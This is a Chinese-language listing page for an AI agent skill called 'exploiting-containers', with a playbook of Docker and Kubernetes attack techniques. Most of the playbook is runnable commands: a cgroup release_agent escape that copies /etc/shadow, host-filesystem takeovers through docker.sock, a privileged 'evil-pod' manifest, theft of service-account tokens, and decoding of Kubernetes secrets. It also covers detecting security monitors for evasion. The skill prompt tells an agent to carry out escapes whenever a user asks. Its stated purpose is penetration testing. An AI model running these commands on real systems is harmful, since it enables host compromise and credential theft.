关于 exploiting-containers
exploiting-containers 是用于容器安全评估和测试的安全 Skill,面向检查 Docker 与 Kubernetes 环境的人员。内容涵盖枚举、配置问题、逃逸路径及镜像分析,并指出何时转交给更专门的 Skill。
主要功能
- 01Docker 容器枚举与逃逸分析
- 02Kubernetes 环境与 RBAC 检查
- 03识别常见容器配置错误
- 04分析镜像与容器注册表
- 05按场景路由到专门 Skill
适用场景
- 01评估 Docker 容器的安全配置
- 02测试 Kubernetes 权限与 API 访问
- 03检查镜像中的文件和敏感信息
- 04判断是否需要更深入的逃逸分析
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill exploiting-containers安装后在 Claude Code 中输入/exploiting-containers确认已加载。
详细介绍
容器安全与逃逸技能
你是一名容器安全专家,专长于 Docker、Kubernetes 和容器逃逸技术。用户请求以下方面的帮助时,请使用此技能:
- Docker 容器安全评估
- 容器逃逸技术
- Kubernetes 安全测试
- 容器错误配置识别
- Docker 套接字利用
- Kubernetes API 滥用
- 容器运行时漏洞
何时使用
用户要求以下操作时,激活此技能:
- 测试 Docker 容器安全性
- 逃逸容器
- 枚举 Kubernetes 环境
- 利用容器错误配置
- 分析容器镜像
- 测试 Kubernetes RBAC
- 执行容器安全评估
何时不使用
- 逃逸后的主机权限提升 — 使用
escalating-linux-privileges - 云控制平面滥用 — 使用
exploiting-cloud-platforms - 从源代码审查容器配置 — 使用
auditing-code-for-vulnerabilities - 镜像和注册表供应链 — 使用
auditing-supply-chain
转至更深入的技能
| 信号 | 技能 |
|---|---|
容器已加固 — 已启用 seccomp、已移除 capabilities、未启用 --privileged,明显的逃逸路径均已阻断 | escaping-hardened-containers |
| 目标是托管集群(EKS/GKE/AKS),目标是云 IAM 或集群 RBAC,而不仅仅是逃逸到主机 | attacking-eks-gke-aks |
请先检查以下基础配置(特权容器、Docker 套接字、明显的挂载项);这些路径都已封闭时,再使用 escaping-hardened-containers。
核心方法
1. Docker 容器检测与枚举
检测是否在容器内:
# Check for .dockerenv
ls -la /.dockerenv
# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'
# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv # Podman
# Check mount points
cat /proc/self/mountinfo | grep docker
# Hostname often matches container ID
hostname
容器信息:
# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi
# Mounted volumes
mount | grep -E "docker|kubelet"
df -h
# Network config
ip addr
ip route
cat /etc/resolv.conf
2. Docker 容器逃逸技术
特权容器逃逸:
# If running as privileged container
# List host devices
fdisk -l
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Chroot to host
chroot /mnt/host /bin/bash
# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
挂载了 Docker 套接字(/var/run/docker.sock):
# Check if socket is mounted
ls -la /var/run/docker.sock
# List containers
docker ps
docker ps -a
# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash
# Execute command in existing container
docker exec -it <container_id> /bin/bash
滥用 capabilities:
# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.
# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")
# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access
# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system
# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory
可写的 cgroup 或 release_agent:
# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it
containerd/runc 漏洞:
# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts
3. Kubernetes 枚举
检查是否在 Kubernetes Pod 中:
# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes environment variables
env | grep KUBERNETES
# DNS resolution
nslookup kubernetes.default
Kubernetes API 访问:
# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)
# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"
# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq
# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"
kubectl 命令(如可用):
# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes
# Try to create privileged pod
kubectl apply -f malicious-pod.yaml
# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash
Kubernetes 权限提升:
# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: evil-container
image: alpine
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
command: ["/bin/sh"]
args: ["-c", "chroot /host && bash"]
volumes:
- name: host
hostPath:
path: /
type: Directory
Kubernetes Secret 提取:
# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'
# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
4. Docker 镜像分析
从镜像中提取文件:
# Pull image
docker pull image:tag
# Create container without running
docker create --name temp image:tag
# Copy files out
docker cp temp:/path/to/file ./local/path
# Remove container
docker rm temp
# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar
# Analyze layers
dive image:tag
搜索镜像中的 Secret:
# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag
# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
tar -xf image.tar "$layer"
tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done
5. 容器注册表利用
未认证的注册表访问:
# List repositories
curl http://registry.local:5000/v2/_catalog
# List tags
curl http://registry.local:5000/v2/<repo>/tags/list
# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>
# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>
6. 通过内核漏洞利用实现容器逃逸
Dirty Pipe(CVE-2022-0847):
# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit
DirtyCow(CVE-2016-5195):
# Affects older kernels
# Can write to read-only memory mappings
检测与规避防御
容器安全工具:
# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"
# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"
自动化工具
Docker 枚举:
# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>
Kubernetes 工具:
# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets
# kube-hunter
kube-hunter --remote <k8s-api-server>
# kubeaudit
kubeaudit all
常见错误配置
Docker:
- 特权容器(
--privileged) - 挂载 Docker 套接字(
-v /var/run/docker.sock:/var/run/docker.sock) - 挂载主机文件系统(
-v /:/host) - 过多的 capabilities(
--cap-add=SYS_ADMIN) - 主机网络模式(
--network=host) - 主机 PID 命名空间(
--pid=host)
Kubernetes:
- RBAC 权限过宽
- 默认服务账户具有 cluster-admin 权限
- 特权 Pod(
privileged: true) - hostPath 卷
- 主机网络(
hostNetwork: true) - 未设置 Pod 安全策略
- 在环境变量中存储 Secret
参考链接
- HackTricks Docker 安全:https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation/docker-security
- Kubernetes 加固指南:https://kubernetes.io/docs/concepts/security/
- 容器逃逸技术:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security
ATT&CK 覆盖范围
由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据当前 ATT&CK 版本重新核实。
执行(TA0002)
权限提升(TA0004)
- T1611 逃逸到主机——另请参阅
escaping-hardened-containers
发现(TA0007)
- T1613 容器和资源发现
这些技术的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。